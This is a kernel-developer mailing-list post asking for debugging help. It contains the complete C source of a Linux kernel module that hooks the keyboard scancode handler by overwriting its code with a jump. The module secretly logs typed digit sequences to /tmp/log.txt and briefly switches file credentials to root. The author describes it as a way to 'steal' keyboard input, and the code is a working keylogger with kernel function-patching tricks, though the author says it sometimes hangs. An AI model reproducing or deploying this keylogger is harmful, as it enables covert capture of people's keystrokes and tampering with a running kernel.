Dear all, I have written a loadable module to 'steal' the input from the keyboard and write them into a file.(/tmp/log.txt). The program works fine,but sometimes it hungs for no reason, for example, the LKM is loaded , but the pc is left alone with writing anything. I wonder if it's because the process to write in the file makes this kind of problem. plz see the attachment full code below. any advice and suggestion is appreciated. Qiang #ifndef __KERNEL_SYSCALLS__ #define __KERNEL_SYSCALLS__ #endif #include <net/tcp.h> #include <net/udp.h> #include <linux/version.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/sched.h> #include <linux/smp_lock.h> #include <linux/unistd.h> #include <linux/string.h> #include <linux/file.h> #include <linux/interrupt.h> #include <linux/proc_fs.h> #include <linux/spinlock.h> #include <linux/netdevice.h> #include <linux/etherdevice.h> #include <linux/inet.h> #include <linux/tty.h> #include <asm/uaccess.h> #include <asm/checksum.h> #include <asm/processor.h> #include <asm/unaligned.h> #include <asm/uaccess.h> #include <asm/errno.h> #include <asm/io.h> /* Deal with CONFIG_MODVERSIONS */ #if CONFIG_MODVERSIONS == 1 #define MODVERSIONS #include <linux/modversions.h> #endif #include <sys/syscall.h> #ifndef KERNEL_VERSION #define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c)) #endif /*************************************************************/ void (*handle_scancode) (unsigned char, int) = (void (*)(unsigned char, int)) HS_ADDRESS; #define CODESIZE 7 static char original_hs[7]; static char hs_jump[CODESIZE] = "\xb8\x00\x00\x00\x00" /* movl $0,%eax */ "\xff\xe0" /* jmp *%eax */ ; int write_to_file( char *buf, int size); // BARCODE format: -XX (X is number) #define BARCODESIZE 3 #define Buffersize 50 #define Wrong 0 int log_scancode(char *logfile, char *buf, int size); static int count=0; static int j=0; char keyinfo[10]; #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds()); #define END_KMEM set_fs(old_fs); } /* Macros used to write to logfile */ #define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos)) #define WRITABLE(f) (f->f_op && f->f_op->write) #define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0; #define END_ROOT current->fsuid = saved_fsuid; } void _handle_scancode(unsigned char scancode, int down) { unsigned char temp ; if (down) { switch(scancode) { case 0x02: temp ='1'; break; case 0x03: temp ='2';break; case 0x04: temp ='3';break; case 0x05: temp ='4';break; case 0x06: temp ='5';break; case 0x07: temp ='6';break; case 0x08: temp ='7';break; case 0x09: temp ='8';break; case 0x0a: temp ='9';break; case 0x0b: temp ='0';break; default: temp= 0x01;break; } if ( temp == '-') count =1; if (temp != 0x01 && count == 1 ) { keyinfo[j++]= temp; if (j >= 3 ) { write_to_file( keyinfo, strlen(keyinfo)); count = 0 ; j=0; } } if (scancode == 0x1c ) count = 0; } memcpy( handle_scancode,original_hs,CODESIZE); handle_scancode(scancode,down); memcpy(handle_scancode,hs_jump,CODESIZE); } int write_to_file( char *buf, int size) { int ret = 0; struct file *f = NULL; lock_kernel(); BEGIN_KMEM; f = filp_open("/tmp/log.txt", O_CREAT | O_APPEND, 00600); if (IS_ERR(f)) { ret = -1; } else { if (WRITABLE(f)) _write(f, buf, size); else { ret = -1; } ret = filp_close(f, NULL); } END_KMEM; unlock_kernel(); return ret; } int init_module() { *(long *)&hs_jump[1]= (long)_handle_scancode; memcpy(original_hs, handle_scancode,CODESIZE); memcpy(handle_scancode,hs_jump,CODESIZE); return 0; } void cleanup_module() { memcpy(handle_scancode, original_hs, CODESIZE); } -- Kernelnewbies: Help each other learn about the Linux kernel. Archive: http://mail.nl.linux.org/kernelnewbies/ FAQ: http://kernelnewbies.org/faq/